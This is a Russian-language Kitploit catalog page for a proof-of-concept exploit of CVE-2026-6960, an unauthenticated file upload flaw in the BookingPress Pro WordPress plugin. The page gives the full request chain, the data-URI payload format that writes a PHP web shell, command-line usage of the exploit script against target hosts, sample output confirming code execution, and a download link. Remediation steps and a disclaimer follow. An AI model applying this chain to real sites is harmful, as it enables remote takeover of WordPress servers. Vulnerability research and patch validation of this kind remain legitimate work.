Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6960 — Эксплойт proof-of-concept для CVE-2026-6960: неаутентифицированная произвольная загрузка файлов в BookingPress Pro ≤ 5.6. Автоматизирует цепочку из 3 шагов для загрузки PHP-веб-шелла через инъекцию data URI, обеспечивая удалённое выполнение кода на уязвимых сайтах WordPress. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-6960
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Эксплойт proof-of-concept для CVE-2026-6960: неаутентифицированная произвольная загрузка файлов в BookingPress Pro ≤ 5.6. Автоматизирует цепочку из 3 шагов для загрузки PHP-веб-шелла через инъекцию data URI, обеспечивая удалённое выполнение кода на уязвимых сайтах WordPress.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Неаутентифицированная произвольная загрузка файлов

CVE CVSS CWE Auth Version Python

Исследование: Atomic Edge Серьёзность: Критическая | CVSS: 9.8 | Требуется аутентификация: Нет

⚠️ v2 — Применены технические исправления на основе отзывов сообщества. Подробности см. в Журнале изменений.


Обзор

Критическая неаутентифицированная уязвимость произвольной загрузки файлов существует в — плагине WordPress (версии ≤ 5.6). Обработчик отправки бронирования обрабатывает значение пользовательского поля подписи как . Плагин извлекает расширение файла из части MIME-типа URI с помощью регулярного выражения и передаёт его напрямую в — без разрешённого списка расширений или блок-листа. Это позволяет атакующему записать PHP-веб-шелл в каталог, доступный через веб, и добиться .

BookingPress Pro
bookingpress_book_appointment_booking
data URI
file_put_contents()
удалённого выполнения кода (RCE)
СвойствоПодробности
ПлагинBookingPress Pro (bookingpress-appointment-booking-pro)
Затронуто≤ 5.6
Исправлено в5.7
ВекторСеть / без аутентификации
AJAX-действиеbookingpress_book_appointment_booking
Корневая причинаРасширение извлекается из контролируемого атакующим MIME-типа в data URI → file_put_contents() без разрешённого списка
CWECWE-434: Неограниченная загрузка файла опасного типа

Предварительные условия

⚠️ Для эксплуатации сайта должны выполняться все следующие условия:

  • ✅ В форме бронирования BookingPress администратором сайта должно быть настроено пользовательское поле типа «подпись» (signature)
  • ✅ Должна существовать хотя бы одна активная услуга (для генерации действительного временного слота)
  • ✅ Страница с виджетом формы бронирования BookingPress должна быть публично доступна

Сайты с версией ≤ 5.6 без настроенного пользовательского поля подписи не уязвимы через этот вектор.


Схема атаки

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Подробности корневой причины

Уязвимый путь кода обрабатывает значение поля подписи как data URI:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress извлекает {ext} из MIME-типа с помощью регулярного выражения, а затем записывает декодированное содержимое на диск через file_put_contents(), добавляя это расширение к имени файла — проверка разрешённого списка не выполняется. Указание image/php в качестве MIME-типа приводит к записи файла .php в каталог загрузки.

Это принципиально отличается от стандартной многокомпонентной (multipart) загрузки файлов — полезная нагрузка встраивается в поле JSON-тела, а не в часть загрузки файла.


Требования

root@kitploit:~
pip install requests

Использование

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Аргументы

ФлагОписаниеПо умолчанию
-u, --urlЦелевой URL WordPress(обязательно)
-bp, --booking-pageПуть к странице с формой BookingPress/
-s, --service-idИдентификатор услуги BookingPress1
-f, --filenameИмя файла шелла (расширение внедряется в MIME data URI)shell.php
--no-verifyОтключить проверку SSL-сертификатаfalse

Пример вывода

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Устранение

  1. Проверяйте MIME-тип data URI по строгому разрешённому списку (image/png, image/jpeg, image/svg+xml) перед извлечением расширения
  2. Никогда не выводите расширение файла из контролируемого атакующим ввода — генерируйте случайное имя файла с жёстко заданным безопасным расширением
  3. Используйте нативный WordPress wp_check_filetype_and_ext() для всей проверки типов файлов
  4. Рассмотрите возможность хранения файлов подписей вне корневого каталога веб-сервера, чтобы предотвратить прямое выполнение

→ Немедленно обновитесь до BookingPress Pro 5.7.


Журнал изменений

v2 (2026-05-23) — Технические исправления

#Проблемаv1 (неверно)v2 (исправлено)
1AJAX-действиеbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Метод полезной нагрузкиМногокомпонентная загрузка файла с image/pngData URI: data:image/{ext};base64,...
3Порядок эксплуатацииПрямой неаутентифицированный POSTЦепочка из 3 предварительных шагов (nonce → transient → token)
4Предварительное условиеНе задокументированоДолжно быть настроено пользовательское поле подписи

Отказ от ответственности

Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте этот инструмент против любой системы без явного письменного разрешения владельца системы. Несанкционированное использование может нарушать CFAA (США), Уголовный кодекс, ст. 342.1 (Канада), директиву ЕС NIS2 и другие применимые законы. Авторы не несут ответственности за неправомерное использование или ущерб, возникший в результате использования этого кода.

Скачать инструмент